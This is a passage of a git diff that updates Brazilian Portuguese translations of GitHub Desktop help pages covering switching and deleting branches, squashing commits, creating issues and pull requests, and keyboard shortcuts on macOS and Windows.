+1. Na parte superior do aplicativo, clique em {% octicon "git-branch" aria-label="The branch icon" %} **Branch atual** e, em seguida, clique no branch que você deseja publicar. ![Menu suspenso para selecionar qual branch publicar](/assets/images/help/desktop/select-branch-from-dropdown.png)
+2. Clique em **Publicar branch**. ![Botão de publicar branch](/assets/images/help/desktop/publish-branch-button.png)
 
-## Switching between branches
-You can view and make commits to any of your repository's branches. If you have uncommitted, saved changes, you'll need to decide what to do with your changes before you can switch branches. You can commit your changes on the current branch, stash your changes to temporarily save them on the current branch, or bring the changes to your new branch. If you want to commit your changes before switching branches, see "[Committing and reviewing changes to your project](/desktop/contributing-to-projects/committing-and-reviewing-changes-to-your-project)."
+## Alternar entre branches
+É possível exibir e fazer commits em qualquer branch do seu repositório. Se houver alterações salvas sem commit, você terá que decidir o que fazer com elas antes de poder alternar entre os branches. Você pode fazer o commit das alterações no branch atual, ocultar as suas alterações para salvá-las temporariamente no branch atual ou trazer as mudanças para seu novo branch. Se você deseja confirmar suas alterações antes de alternar os branches, consulte "[Fazer commit e revisar as alterações do seu projeto](/desktop/contributing-to-projects/committing-and-reviewing-changes-to-your-project)."
 {% tip %}
 
-**Tip**: You can set a default behavior for switching branches in the **Advanced** settings. For more information, see "[Configuring basic settings](/desktop/getting-started-with-github-desktop/configuring-basic-settings)."
+**Dica**: Você pode definir um comportamento-padrão para alternar branches nas configurações **Avançadas**. Para obter mais informações, consulte "[Definindo as configurações básicas](/desktop/getting-started-with-github-desktop/configuring-basic-settings)".
 
 {% endtip %}
 
 {% data reusables.desktop.current-branch-menu %}
 {% data reusables.desktop.switching-between-branches %}
-  ![List of branches in the repository](/assets/images/help/desktop/select-branch-from-dropdown.png)
-3. If you have saved, uncommitted changes, choose **Leave my changes** or **Bring my changes**, then click **Switch Branch**.
-  ![Switch branch with changes options](/assets/images/help/desktop/stash-changes-options.png)
+  ![Lista de branches no repositório](/assets/images/help/desktop/select-branch-from-dropdown.png)
+3. Se você tiver alterações salvas sem commit, escolha entre **Leave my changes** (Deixar as alterações) ou **Bring my changes** (Levar as alterações) e clique em **Switch Branch** (Alternar branch). ![Alternar branch com opções de alteração](/assets/images/help/desktop/stash-changes-options.png)
 
-## Deleting a branch
+## Excluir um branch
 
-You can't delete a branch if it's currently associated with an open pull request. You cannot undo deleting a branch.
+Não é possível excluir um branch se ele estiver atualmente associado a uma pull request aberta. Não é possível desfazer a exclusão de um branch.
 
 {% mac %}
 
 {% data reusables.desktop.select-branch-to-delete %}
-  ![Drop-down menu to select which branch to delete](/assets/images/help/desktop/select-branch-from-dropdown.png)
+  ![Menu suspenso para selecionar qual branch deseja excluir](/assets/images/help/desktop/select-branch-from-dropdown.png)
 {% data reusables.desktop.delete-branch-mac %}
-  ![Delete... option in the Branch menu](/assets/images/help/desktop/delete-branch-mac.png)
+  ![Excluir... opção no menu do branch](/assets/images/help/desktop/delete-branch-mac.png)
 
 {% endmac %}
 
 {% windows %}
 
 {% data reusables.desktop.select-branch-to-delete %}
-  ![Drop-down menu to select which branch to delete](/assets/images/help/desktop/select-branch-from-dropdown.png)
+  ![Menu suspenso para selecionar qual branch deseja excluir](/assets/images/help/desktop/select-branch-from-dropdown.png)
 {% data reusables.desktop.delete-branch-win %}
-  ![Delete... option in the Branch menu](/assets/images/help/desktop/delete-branch-win.png)
+  ![Excluir... opção no menu do branch](/assets/images/help/desktop/delete-branch-win.png)
 
 {% endwindows %}
 
-## Further reading
+## Leia mais
 
-- "[Cloning a repository from {% data variables.product.prodname_desktop %}](/desktop/guides/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop)"
-- "[Branch](/articles/github-glossary/#branch)" in the {% data variables.product.prodname_dotcom %} glossary
-- "[About branches](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches)"
-- "[Branches in a Nutshell](https://git-scm.com/book/en/v2/Git-Branching-Branches-in-a-Nutshell)" in the Git documentation
-- "[Stashing changes](/desktop/contributing-and-collaborating-using-github-desktop/stashing-changes)"
+- "[Clonar um repositório no {% data variables.product.prodname_desktop %}](/desktop/guides/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop)"
+- "[Branch](/articles/github-glossary/#branch)" no glossário do {% data variables.product.prodname_dotcom %}
+- "[Sobre branches](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches)"
+- "[Branches em um Nutshell](https://git-scm.com/book/en/v2/Git-Branching-Branches-in-a-Nutshell)" na documentação do Git
+- "[Ocultar as alterações](/desktop/contributing-and-collaborating-using-github-desktop/stashing-changes)
diff --git a/translations/pt-BR/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/squashing-commits.md b/translations/pt-BR/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/squashing-commits.md
index 3d8ae0d3ee..c216ecc7f9 100644
--- a/translations/pt-BR/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/squashing-commits.md
+++ b/translations/pt-BR/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/squashing-commits.md
@@ -16,7 +16,7 @@ A combinação por squash permite que você combine vários commits no históric
 {% data reusables.desktop.current-branch-menu %}
 2. Na lista de branches, selecione o branch que possui os commits para o qual você deseja realizar a combinação por squash.
 {% data reusables.desktop.history-tab %}
-4. Selecionar os commits para fazer a combinação por squash e solte-os no commit com o qual deseja combiná-los. Você pode selecionar um commit ou selecionar múltiplos commits usando <kbd>➲</kbd> ou <kbd>Shift</kbd>. ![combinação por squash, arrastar e soltar](/assets/images/help/desktop/squash-drag-and-drop.png)
+4. Selecionar os commits para fazer a combinação por squash e solte-os no commit com o qual deseja combiná-los. You can select one commit or select multiple commits using <kbd>Command</kbd> or <kbd>Shift</kbd>. ![combinação por squash, arrastar e soltar](/assets/images/help/desktop/squash-drag-and-drop.png)
 5. Modifique a mensagem de commit de seu novo commit. As mensagens de commit dos commits selecionados que você deseja fazer combinação por squash são pré-preenchidas nos campos **Resumo** e **Descrição**.
 6. Clique em **Commits de combinação por squash**.
 
diff --git a/translations/pt-BR/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/creating-an-issue-or-pull-request.md b/translations/pt-BR/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/creating-an-issue-or-pull-request.md
index bc7061511e..1b5ea47197 100644
--- a/translations/pt-BR/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/creating-an-issue-or-pull-request.md
+++ b/translations/pt-BR/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/creating-an-issue-or-pull-request.md
@@ -1,6 +1,6 @@
 ---
-title: Creating an issue or pull request
-intro: You can create an issue or pull request to propose and collaborate on changes to a repository.
+title: Criar um problema ou um pull request
+intro: É possível criar um problema ou um pull request para propor e colaborar com alterações em um repositório.
 permissions: 'Anyone can create an issue in a public repository that has issues enabled. Anyone with read permissions to a repository can create a pull request, but you must have write permissions to create a branch.'
 redirect_from:
   - /desktop/contributing-to-projects/creating-an-issue-or-pull-request
@@ -8,56 +8,51 @@ redirect_from:
   - /desktop/contributing-and-collaborating-using-github-desktop/creating-an-issue-or-pull-request
 versions:
   fpt: '*'
-shortTitle: Create an issue or PR
+shortTitle: Criar um problema ou PR
 ---
-## About issues and pull requests
 
-You can use issues to track ideas, bugs, tasks, and other information that's important to your project. You can create an issue in your project's repository with {% data variables.product.prodname_desktop %}. For more information about issues, see "[About issues](/github/managing-your-work-on-github/about-issues)."
+## Sobre problemas e pull requests
 
-After you create a branch and make changes to files in a project, you can create a pull request. With a pull request, you can propose, discuss, and iterate on changes before you merge the changes into the project. You can create a pull request in your project's repository with {% data variables.product.prodname_desktop %}. For more information about pull requests, see "[About pull requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests)."
+Você pode usar problemas para rastrear ideias, erros, tarefas e outras informações importantes para o seu projeto. Você pode criar um problema no repositório do seu projeto com o {% data variables.product.prodname_desktop %}. Para obter mais informações sobre os problemas, consulte "[Sobre os problemas](/github/managing-your-work-on-github/about-issues)".
 
-## Prerequisites
+Após criar um branch e fazer alterações nos arquivos em um projeto, você poderá criar um pull request. Com um pull request, você pode propor, discutir e repetir alterações antes de fazer merge das alterações no projeto. Você pode criar um pull request no repositório do seu projeto com o {% data variables.product.prodname_desktop %}. Para obter mais informações sobre pull requests, consulte "[Sobre pull requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests)".
 
-Before you create a pull request, you'll need to push changes to a branch on {% data variables.product.prodname_dotcom %}.
-- Save and commit any changes on your local branch. For more information, see "[Committing and reviewing changes to your project](/desktop/contributing-and-collaborating-using-github-desktop/committing-and-reviewing-changes-to-your-project)."
-- Push your local commits to the remote repository. For more information, see "[Pushing changes to GitHub](/desktop/contributing-and-collaborating-using-github-desktop/pushing-changes-to-github)."
-- Publish your current branch to {% data variables.product.prodname_dotcom %}. For more information, see "[Managing branches](/desktop/contributing-and-collaborating-using-github-desktop/managing-branches)."
+## Pré-requisitos
 
-## Creating an issue
+Antes de criar um pull request, você deverá fazer push das alterações em um branch em {% data variables.product.prodname_dotcom %}.
+- Salve e faça o commit de quaisquer alterações no seu branch local. Para obter mais informações, consulte "[Fazer o commit e revisar as alterações no seu projeto](/desktop/contributing-and-collaborating-using-github-desktop/committing-and-reviewing-changes-to-your-project)".
+- Faça push dos seus commits locais para o repositório remoto. Para obter mais informações, consulte "[Fazer push de alterações para o GitHub](/desktop/contributing-and-collaborating-using-github-desktop/pushing-changes-to-github)".
+- Publique seu branch atual no {% data variables.product.prodname_dotcom %}. Para obter mais informações, consulte "[Gerenciar branches](/desktop/contributing-and-collaborating-using-github-desktop/managing-branches)".
+
+## Criar um problema
 
 {% mac %}
 
-1. In the menu bar, use the **Repository** drop-down menu, then click **Create Issue on {% data variables.product.prodname_dotcom %}**.
-    ![Repository value in the Branch menu](/assets/images/help/desktop/create-issue-mac.png)
-2. On {% data variables.product.prodname_dotcom %}, click **Get started** to open an issue template or click **Open a blank issue**.
-    ![Create new issue options](/assets/images/help/desktop/create-new-issue.png)
+1. Na barra de menu, use o menu suspenso **Repositório** e, em seguida, clique em **Criar problema em {% data variables.product.prodname_dotcom %}**. ![Valor do repositório no menu Branch](/assets/images/help/desktop/create-issue-mac.png)
+2. Em {% data variables.product.prodname_dotcom %}, clique em **Começar** para abrir um modelo do problema ou clique em **Abrir um problema em branco**. ![Criar novas opções do problema](/assets/images/help/desktop/create-new-issue.png)
 
 {% endmac %}
 
 {% windows %}
 
-1. In the menu bar, use the **Repository** drop-down menu, then click **Create issue on {% data variables.product.prodname_dotcom %}**.
-    ![The Repository value in the Branch menu](/assets/images/help/desktop/create-issue-windows.png)
-2. On {% data variables.product.prodname_dotcom %}, click **Get started** to open an issue template or click **Open a blank issue**.
-    ![Create new issue options](/assets/images/help/desktop/create-new-issue.png)
+1. Na barra de menu, use o menu suspenso **Repositório** e, em seguida, clique em **Criar problema em {% data variables.product.prodname_dotcom %}**. ![O valor do repositório no menu Branch](/assets/images/help/desktop/create-issue-windows.png)
+2. Em {% data variables.product.prodname_dotcom %}, clique em **Começar** para abrir um modelo do problema ou clique em **Abrir um problema em branco**. ![Criar novas opções do problema](/assets/images/help/desktop/create-new-issue.png)
 
 {% endwindows %}
 
 {% note %}
 
-**Note**: If issue templates aren't enabled in your current repository, {% data variables.product.prodname_desktop %} will direct you to a blank issue on {% data variables.product.prodname_dotcom %}.
+**Observação**: Se os modelos do problema não estiverem habilitados em seu repositório atual, o {% data variables.product.prodname_desktop %} irá direcionar você para um problema em branco no {% data variables.product.prodname_dotcom %}.
 
 {% endnote %}
 
-## Creating a pull request
+## Criar um pull request
 
 {% mac %}
 
-1. Switch to the branch that you want to create a pull request for. For more information, see "[Switching between branches](/desktop/contributing-and-collaborating-using-github-desktop/managing-branches#switching-between-branches)."
-2. Click **Create Pull Request**. {% data variables.product.prodname_desktop %} will open your default browser to take you to {% data variables.product.prodname_dotcom %}.
-  ![The Create Pull Request button](/assets/images/help/desktop/mac-create-pull-request.png)
-4. On {% data variables.product.prodname_dotcom %}, confirm that the branch in the **base:** drop-down menu is the branch where you want to merge your changes. Confirm that the branch in the **compare:** drop-down menu is the topic branch where you made your changes.
-  ![Drop-down menus for choosing the base and compare branches](/assets/images/help/desktop/base-and-compare-branches.png)
+1. Alterne para o branch para o qual você deseja criar um pull request. Para obter mais informações, consulte "[Alternar branches](/desktop/contributing-and-collaborating-using-github-desktop/managing-branches#switching-between-branches)".
+2. Clique em **Create Pull Request** (Criar pull request). {% data variables.product.prodname_desktop %} abrirá o seu navegador-padrão para levar você a {% data variables.product.prodname_dotcom %}. ![O botão Criar Pull Request](/assets/images/help/desktop/mac-create-pull-request.png)
+4. Em {% data variables.product.prodname_dotcom %}, confirme se o branch no menu suspenso **base:** é o branch onde você deseja fazer merge das suas alterações. Confirme se o branch no menu suspenso **compare:** é o branch de tópico em que você fez suas alterações. ![Menus suspenso para escolher a base e comparar os branches](/assets/images/help/desktop/base-and-compare-branches.png)
 {% data reusables.repositories.pr-title-description %}
 {% data reusables.repositories.create-pull-request %}
 
@@ -65,18 +60,16 @@ Before you create a pull request, you'll need to push changes to a branch on {%
 
 {% windows %}
 
-1. Switch to the branch that you want to create a pull request for. For more information, see "[Switching between branches](/desktop/contributing-and-collaborating-using-github-desktop/managing-branches#switching-between-branches)."
-2. Click **Create Pull Request**. {% data variables.product.prodname_desktop %} will open your default browser to take you to {% data variables.product.prodname_dotcom %}.
-  ![The Create Pull Request button](/assets/images/help/desktop/windows-create-pull-request.png)
-3. On {% data variables.product.prodname_dotcom %}, confirm that the branch in the **base:** drop-down menu is the branch where you want to merge your changes. Confirm that the branch in the **compare:** drop-down menu is the topic branch where you made your changes.
-  ![Drop-down menus for choosing the base and compare branches](/assets/images/help/desktop/base-and-compare-branches.png)
+1. Alterne para o branch para o qual você deseja criar um pull request. Para obter mais informações, consulte "[Alternar branches](/desktop/contributing-and-collaborating-using-github-desktop/managing-branches#switching-between-branches)".
+2. Clique em **Create Pull Request** (Criar pull request). {% data variables.product.prodname_desktop %} abrirá o seu navegador-padrão para levar você a {% data variables.product.prodname_dotcom %}. ![O botão Criar Pull Request](/assets/images/help/desktop/windows-create-pull-request.png)
+3. Em {% data variables.product.prodname_dotcom %}, confirme se o branch no menu suspenso **base:** é o branch onde você deseja fazer merge das suas alterações. Confirme se o branch no menu suspenso **compare:** é o branch de tópico em que você fez suas alterações. ![Menus suspenso para escolher a base e comparar os branches](/assets/images/help/desktop/base-and-compare-branches.png)
 {% data reusables.repositories.pr-title-description %}
 {% data reusables.repositories.create-pull-request %}
 
 {% endwindows %}
 
-## Further reading
-- "[Issue](/github/getting-started-with-github/github-glossary#issue)" in the {% data variables.product.prodname_dotcom %} glossary
-- "[Pull request](/github/getting-started-with-github/github-glossary#pull-request)" in the {% data variables.product.prodname_dotcom %} glossary
-- "[Base branch](/github/getting-started-with-github/github-glossary#base-branch)" in the {% data variables.product.prodname_dotcom %} glossary
-- "[Topic branch](/github/getting-started-with-github/github-glossary#topic-branch)" in the {% data variables.product.prodname_dotcom %} glossary
+## Leia mais
+- "[Problema ](/github/getting-started-with-github/github-glossary#issue) no glossário de {% data variables.product.prodname_dotcom %}
+- "[pull request](/github/getting-started-with-github/github-glossary#pull-request)" no glossário do {% data variables.product.prodname_dotcom %}
+- "[Branch de base](/github/getting-started-with-github/github-glossary#base-branch)no glossário de {% data variables.product.prodname_dotcom %}
+- "[Branch de tópico](/github/getting-started-with-github/github-glossary#topic-branch)" no glossário de {% data variables.product.prodname_dotcom %}
diff --git a/translations/pt-BR/content/desktop/installing-and-configuring-github-desktop/overview/keyboard-shortcuts.md b/translations/pt-BR/content/desktop/installing-and-configuring-github-desktop/overview/keyboard-shortcuts.md
index cf34ff73d0..1520647fe8 100644
--- a/translations/pt-BR/content/desktop/installing-and-configuring-github-desktop/overview/keyboard-shortcuts.md
+++ b/translations/pt-BR/content/desktop/installing-and-configuring-github-desktop/overview/keyboard-shortcuts.md
@@ -1,6 +1,6 @@
 ---
-title: Keyboard shortcuts
-intro: 'You can use keyboard shortcuts in {% data variables.product.prodname_desktop %}.'
+title: Atalhos de teclado
+intro: 'É possível usar atalhos de teclado no {% data variables.product.prodname_desktop %}.'
 redirect_from:
   - /desktop/getting-started-with-github-desktop/keyboard-shortcuts-in-github-desktop
   - /desktop/getting-started-with-github-desktop/keyboard-shortcuts
@@ -8,113 +8,114 @@ redirect_from:
 versions:
   fpt: '*'
 ---
+
 {% mac %}
 
-GitHub Desktop keyboard shortcuts on macOS
+Atalhos de teclado do GitHub Desktop no macOS
 
-## Site wide shortcuts
+## Atalhos para o site
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>⌘</kbd><kbd>,</kbd> | Go to Preferences
-|<kbd>⌘</kbd><kbd>H</kbd> | Hide the {% data variables.product.prodname_desktop %} application
-|<kbd>⌥</kbd><kbd>⌘</kbd><kbd>H</kbd> | Hide all other applications
-|<kbd>⌘</kbd><kbd>Q</kbd> | Quit {% data variables.product.prodname_desktop %}
-|<kbd>⌃</kbd><kbd>⌘</kbd><kbd>F</kbd> | Toggle full screen view
-|<kbd>⌘</kbd><kbd>0</kbd> | Reset zoom to default text size
-|<kbd>⌘</kbd><kbd>=</kbd> | Zoom in for larger text and graphics
-|<kbd>⌘</kbd><kbd>-</kbd> | Zoom out for smaller text and graphics
-|<kbd>⌥</kbd><kbd>⌘</kbd><kbd>I</kbd> | Toggle Developer Tools
+| Atalho                               | Descrição                                                             |
+| ------------------------------------ | --------------------------------------------------------------------- |
+| <kbd>⌘</kbd><kbd>,</kbd>             | Ir para Preferences (Preferências)                                    |
+| <kbd>⌘</kbd><kbd>H</kbd>             | Ocultar o aplicativo do {% data variables.product.prodname_desktop %}
+| <kbd>⌥</kbd><kbd>⌘</kbd><kbd>H</kbd> | Ocultar todos os outros aplicativos                                   |
+| <kbd>⌘</kbd><kbd>Q</kbd>             | Sair do {% data variables.product.prodname_desktop %}
+| <kbd>⌃</kbd><kbd>⌘</kbd><kbd>F</kbd> | Alternar a exibição em tela cheia                                     |
+| <kbd>⌘</kbd><kbd>0</kbd>             | Redefinir o zoom para o tamanho de texto padrão                       |
+| <kbd>⌘</kbd><kbd>=</kbd>             | Aumentar o zoom em textos e imagens                                   |
+| <kbd>⌘</kbd><kbd>-</kbd>             | Diminuir o zoom em textos e imagens                                   |
+| <kbd>⌥</kbd><kbd>⌘</kbd><kbd>I</kbd> | Alternar as ferramentas de desenvolvedor                              |
 
-## Repositories
+## Repositórios
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>⌘</kbd><kbd>N</kbd> | Add a new repository
-|<kbd>⌘</kbd><kbd>O</kbd> | Add a local repository
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>O</kbd> | Clone a repository from {% data variables.product.prodname_dotcom %}
-|<kbd>⌘</kbd><kbd>T</kbd> | Show a list of your repositories
-|<kbd>⌘</kbd><kbd>P</kbd> | Push the latest commits to {% data variables.product.prodname_dotcom %}
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>P</kbd> | Pull down the latest changes from {% data variables.product.prodname_dotcom %}
-|<kbd>⌘</kbd><kbd>⌫</kbd> | Remove an existing repository
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>G</kbd> | View the repository on {% data variables.product.prodname_dotcom %}
-|<kbd>⌃</kbd><kbd>&grave;</kbd> | Open repository in your preferred terminal tool
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>F</kbd> | Show the repository in Finder
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>A</kbd> | Open the repository in your preferred editor tool
-|<kbd>⌘</kbd><kbd>I</kbd> | Create an issue on {% data variables.product.prodname_dotcom %}
+| Atalho                               | Descrição                                                                        |
+| ------------------------------------ | -------------------------------------------------------------------------------- |
+| <kbd>⌘</kbd><kbd>N</kbd>             | Adicionar um novo repositório                                                    |
+| <kbd>⌘</kbd><kbd>O</kbd>             | Adicionar um repositório local                                                   |
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>O</kbd> | Clonar um repositório do {% data variables.product.prodname_dotcom %}
+| <kbd>⌘</kbd><kbd>T</kbd>             | Exibir uma lista dos repositórios                                                |
+| <kbd>⌘</kbd><kbd>P</kbd>             | Usar os commits mais recentes do {% data variables.product.prodname_dotcom %}
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>P</kbd> | Usar as alterações mais recentes do {% data variables.product.prodname_dotcom %}
+| <kbd>⌘</kbd><kbd>⌫</kbd>             | Remover um repositório                                                           |
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>G</kbd> | Exibir o repositório no {% data variables.product.prodname_dotcom %}
+| <kbd>⌃</kbd><kbd>&grave;</kbd>       | Abrir o repositório na sua ferramenta de terminal preferida                      |
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>F</kbd> | Exibir o repositório no Localizador                                              |
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>A</kbd> | Abrir o repositório na sua ferramenta de edição preferida                        |
+| <kbd>⌘</kbd><kbd>I</kbd>             | Criar um problema em {% data variables.product.prodname_dotcom %}
 
 ## Branches
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>⌘</kbd><kbd>1</kbd> | Show all your changes before committing
-|<kbd>⌘</kbd><kbd>2</kbd> | Show your commit history
-|<kbd>⌘</kbd><kbd>B</kbd> | Show all your branches
-|<kbd>⌘</kbd><kbd>G</kbd> | Go to the commit summary field
-|<kbd>⌘</kbd><kbd>Enter</kbd> | Commit changes when summary or description field is active
-|<kbd>space</kbd>| Select or deselect all highlighted files
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>N</kbd> | Create a new branch
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>R</kbd> | Rename the current branch
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>D</kbd> | Delete the current branch
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>U</kbd> | Update from default branch
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>B</kbd> | Compare to an existing branch
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>M</kbd> | Merge into current branch
-|<kbd>⌃</kbd><kbd>H</kbd> | Show or hide stashed changes
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>C</kbd> | Compare branches on {% data variables.product.prodname_dotcom %}
-|<kbd>⌘</kbd><kbd>R</kbd> | Show the current pull request on {% data variables.product.prodname_dotcom %}
+| Atalho                               | Descrição                                                                         |
+| ------------------------------------ | --------------------------------------------------------------------------------- |
+| <kbd>⌘</kbd><kbd>1</kbd>             | Exibir todas as alterações antes de fazer o commit                                |
+| <kbd>⌘</kbd><kbd>2</kbd>             | Exibir o histórico de commits                                                     |
+| <kbd>⌘</kbd><kbd>B</kbd>             | Exibir todos os branches                                                          |
+| <kbd>⌘</kbd><kbd>G</kbd>             | Ir para o campo de resumo de commits                                              |
+| <kbd>⌘</kbd><kbd>Enter</kbd>         | Realizar commit de alterações quando o campo de resumo ou descrição estiver ativo |
+| <kbd>space (Espaço)</kbd>            | Selecione ou desmarque todos os arquivos destacados                               |
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>N</kbd> | Criar um branch                                                                   |
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>R</kbd> | Renomear o branch atual                                                           |
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>D</kbd> | Excluir o branch atual                                                            |
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>U</kbd> | Atualizar o branch padrão                                                         |
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>B</kbd> | Comparar a outro branch                                                           |
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>M</kbd> | Fazer um merge com o branch atual                                                 |
+| <kbd>⌃</kbd><kbd>H</kbd>             | Exibir ou ocultar alterações stashed                                              |
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>C</kbd> | Comparar branches no {% data variables.product.prodname_dotcom %}
+| <kbd>⌘</kbd><kbd>R</kbd>             | Exibir a pull request atual no {% data variables.product.prodname_dotcom %}
 
 {% endmac %}
 
 {% windows %}
 
-GitHub Desktop keyboard shortcuts on Windows
+Atalhos de teclado do GitHub Desktop no Windows
 
-## Site wide shortcuts
+## Atalhos para o site
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>Ctrl</kbd><kbd>,</kbd> | Go to Options
-|<kbd>F11</kbd> | Toggle full screen view
-|<kbd>Ctrl</kbd><kbd>0</kbd> | Reset zoom to default text size
-|<kbd>Ctrl</kbd><kbd>=</kbd> | Zoom in for larger text and graphics
-|<kbd>Ctrl</kbd><kbd>-</kbd> | Zoom out for smaller text and graphics
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>I</kbd> | Toggle Developer Tools
+| Atalho                                      | Descrição                                       |
+| ------------------------------------------- | ----------------------------------------------- |
+| <kbd>Ctrl</kbd><kbd>,</kbd>                 | Ir para Opções                                  |
+| <kbd>F11</kbd>                              | Alternar a exibição em tela cheia               |
+| <kbd>Ctrl</kbd><kbd>0</kbd>                 | Redefinir o zoom para o tamanho de texto padrão |
+| <kbd>Ctrl</kbd><kbd>=</kbd>                 | Aumentar o zoom em textos e imagens             |
+| <kbd>Ctrl</kbd><kbd>-</kbd>                 | Diminuir o zoom em textos e imagens             |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>I</kbd> | Alternar as ferramentas de desenvolvedor        |
 
-## Repositories
+## Repositórios
 
-| Keyboard Shortcut | Description
-|-----------|------------
-|<kbd>Ctrl</kbd><kbd>N</kbd> | Add a new repository
-|<kbd>Ctrl</kbd><kbd>O</kbd> | Add a local repository
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>O</kbd> | Clone a repository from {% data variables.product.prodname_dotcom %}
-|<kbd>Ctrl</kbd><kbd>T</kbd> | Show a list of your repositories
-|<kbd>Ctrl</kbd><kbd>P</kbd> | Push the latest commits to {% data variables.product.prodname_dotcom %}
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>P</kbd> | Pull down the latest changes from {% data variables.product.prodname_dotcom %}
-|<kbd>Ctrl</kbd><kbd>Delete</kbd> | Remove an existing repository
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>G</kbd> | View the repository on {% data variables.product.prodname_dotcom %}
-|<kbd>Ctrl</kbd><kbd>&grave;</kbd> | Open repository in your preferred command line tool
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>F</kbd> | Show the repository in Explorer
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>A</kbd> | Open the repository in your preferred editor tool
-|<kbd>Ctrl</kbd><kbd>I</kbd> | Create an issue on {% data variables.product.prodname_dotcom %}
+| Atalho de teclado                           | Descrição                                                                        |
+| ------------------------------------------- | -------------------------------------------------------------------------------- |
+| <kbd>Ctrl</kbd><kbd>N</kbd>                 | Adicionar um novo repositório                                                    |
+| <kbd>Ctrl</kbd><kbd>O</kbd>                 | Adicionar um repositório local                                                   |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>O</kbd> | Clonar um repositório do {% data variables.product.prodname_dotcom %}
+| <kbd>Ctrl</kbd><kbd>T</kbd>                 | Exibir uma lista dos repositórios                                                |
+| <kbd>Ctrl</kbd><kbd>P</kbd>                 | Usar os commits mais recentes do {% data variables.product.prodname_dotcom %}
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>P</kbd> | Usar as alterações mais recentes do {% data variables.product.prodname_dotcom %}
+| <kbd>Ctrl</kbd><kbd>Delete</kbd>            | Remover um repositório                                                           |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>G</kbd> | Exibir o repositório no {% data variables.product.prodname_dotcom %}
+| <kbd>Ctrl</kbd><kbd>&grave;</kbd>           | Abrir o repositório na sua ferramenta de linha de comando preferida              |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>F</kbd> | Exibir o repositório no Explorador                                               |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>A</kbd> | Abrir o repositório na sua ferramenta de edição preferida                        |
+| <kbd>Ctrl</kbd><kbd>I</kbd>                 | Criar um problema em {% data variables.product.prodname_dotcom %}
 
 ## Branches
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>Ctrl</kbd><kbd>1</kbd> | Show all your changes before committing
-|<kbd>Ctrl</kbd><kbd>2</kbd> | Show your commit history
-|<kbd>Ctrl</kbd><kbd>B</kbd> | Show all your branches
-|<kbd>Ctrl</kbd><kbd>G</kbd> | Go to the commit summary field
-|<kbd>Ctrl</kbd><kbd>Enter</kbd> | Commit changes when summary or description field is active
-|<kbd>space</kbd>| Select or deselect all highlighted files
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>N</kbd> | Create a new branch
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>R</kbd> | Rename the current branch
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>D</kbd> | Delete the current branch
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>U</kbd> | Update from default branch
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>B</kbd> | Compare to an existing branch
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>M</kbd> | Merge into current branch
-|<kbd>Ctrl</kbd><kbd>H</kbd> | Show or hide stashed changes
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>C</kbd> | Compare branches on {% data variables.product.prodname_dotcom %}
